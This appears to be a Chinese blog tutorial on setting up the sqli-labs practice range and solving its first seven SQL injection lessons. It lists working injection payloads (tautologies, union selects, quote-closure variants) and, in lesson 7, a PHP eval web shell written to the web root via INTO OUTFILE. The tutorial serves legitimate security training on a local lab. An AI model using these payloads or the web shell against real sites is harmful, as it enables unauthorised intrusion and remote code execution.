zoukankan      html  css  js  c++  java
  • sql注入学习 sqlliab教程 lesson1 (sqlliab搭建教程)

    靶场搭建

    小白建议直接用集成环境.推荐laragon (由于这套靶场较早,需要使用php7.0以下环境,安装完php laragon需要在安装php低版本,默认laragon只集成了一个7.0的php),

    如果不懂怎么安装php低版本到laragon,推荐使用php study. 这款集成工具最大的亮点就是集成了php的各个版本,相比于laragon 可能配置则会稍微复杂点..

    php study:

    laragon:

    关于环境,这里不过多介绍,有兴趣的自己了解一下,各有千秋.但本人更倾向于laragon. 

    本套课程,所采用的集成环境为 php study.

    搭建步骤

      获取源码. 自行百度或者通过我的分享.

    # 链接:https://pan.baidu.com/s/1XS38kjkn52Y822oN7JOLyw 
    # 提取码:fdbo 
    # 复制这段内容后打开百度网盘手机App,操作更方便哦

    文件解压到phpstudy下的WWW(点击网站根目录,拷贝的时候先把目录清空),完工! (此方法为替换了默认的站点信息.也可通过域名站点管理添加站点指定路径 修改本地host来完成. )

    访问测试:

    访问127.0.0.1: 

    截至到此,安装没没有真正意义的完成.我们需要修改下php源码.找到数据库配置. 修改为你的数据库账号密码.:

    完成后我们就可以进行闯关了..

    less-1

    访问less-1 看到如下页面.我们手工键入查询参数得知,此url是查询url. 所有的关卡只进行到发现注入点,(注意点方式很多,这里我只展示一种)不涉及暴库等操作.具体的可以自行研究.

    键入常用的payload进行尝试. 成功!

    通过修改源码, 输出对应sql语句,得知:

    SELECT * FROM users WHERE id='1' LIMIT 0,1  # 原始sql
    # 我使用的payload
    SELECT * FROM users WHERE id='' or 1=1 -- '' LIMIT 0,1 

    less-2

    通过less-1 的套路,我在less-2的地址也加入了查询参数.得到的结果和less-1是一样的.

    通过union联合查询 执行成功 由此断定sql存在注入漏洞.

    1 # 原始sql
    2 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    3 # payload
    4 SELECT * FROM users WHERE id=-1 union select 1,2,3 -- '' LIMIT 0,1
    pay load

    less-3

    打开url 我们还是老套路 先尝试在url后面加个闭合的单引号 看输出信息是否异常

    可以看到报错那里出来了一个),原来这就是单引号注入的变形,那么我们在没有最终的sql语句的情况下怎么判断呢

    首先看到near和at之间的字符串,直接将左右的引号去掉,那么就得到'-1'') LIMIT 0,1 

    我们明显看到-1的右边多了一个' 这是似成相识的感觉吧,后面还有个),那么对于的左边也有(,我们看看代码是不是 id=('$id'),

    # 使用的payload
    id=-1%27)%20or%201=1%20--%20%27
    id = -1')  or 1=1 -- '
    

    less-4

    按老套路 查询参数后面加单引号, 发现可以正常查询.试试双引号,结果就报错了,

    为什么单引号不报错呢? 因为在sql查询语句中,单引号是可以包双引号的 

    发现注入点之后  我们可以通过构造闭合双引号来尝试.

    # 原始sql 
    SELECT * FROM users WHERE id=("1") LIMIT 0,1
    # payload
    select * from users where id = ("-1") or 1=1 -- "") 

    less-5

    参考less -2 . (单引号)

    less-6

    参考less-2. (双引号)

    less-7

    看首页说是导出文件GET字符型注入,常用的语句是:  select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" ,当这里要获取到网站的在系统中的具体路径(绝对路径)

    这个要怎么获取呢,根据系统和数据库猜测,如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好

    linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

    apache 就/var/www/htm,/var/www/html/htdocs

    下面给一个很有可能获取得到的方法,(因为less7不输出信息,先从less获取信息)

    首先介绍两个可以说是函数,还是变量的东西

    @@datadir (读取数据库路径)
    @@basedir (MYSQL 获取安装路径)

    # payload
    SELECT * FROM users WHERE id=(('-1')) or 1=1 -- '')) LIMIT 0,1
    # 上传文件的payload
    http://127.0.0.1/Less-7/?id=1')) union select 1,'2','<?php @eval($_POST["php09"]);?>' into outfile 'E:\\wamp\\www\\sqli-labs\\muma.php' %23
  • 相关阅读:
    Mybatis一级缓存和二级缓存总结
    UML模型的基本概念
    Proxy patten 代理模式
    UML 基础:类图
    Java与UML交互图
    Composite Pattern (组合模式)
    用例建模指南
    Prototype Pattern(原型模式)
    Adapter Pattern(适配器模式)
    UML 类与类之间的关系
  • 原文地址:https://www.cnblogs.com/php09/p/10435397.html
Copyright © 2011-2022 走看看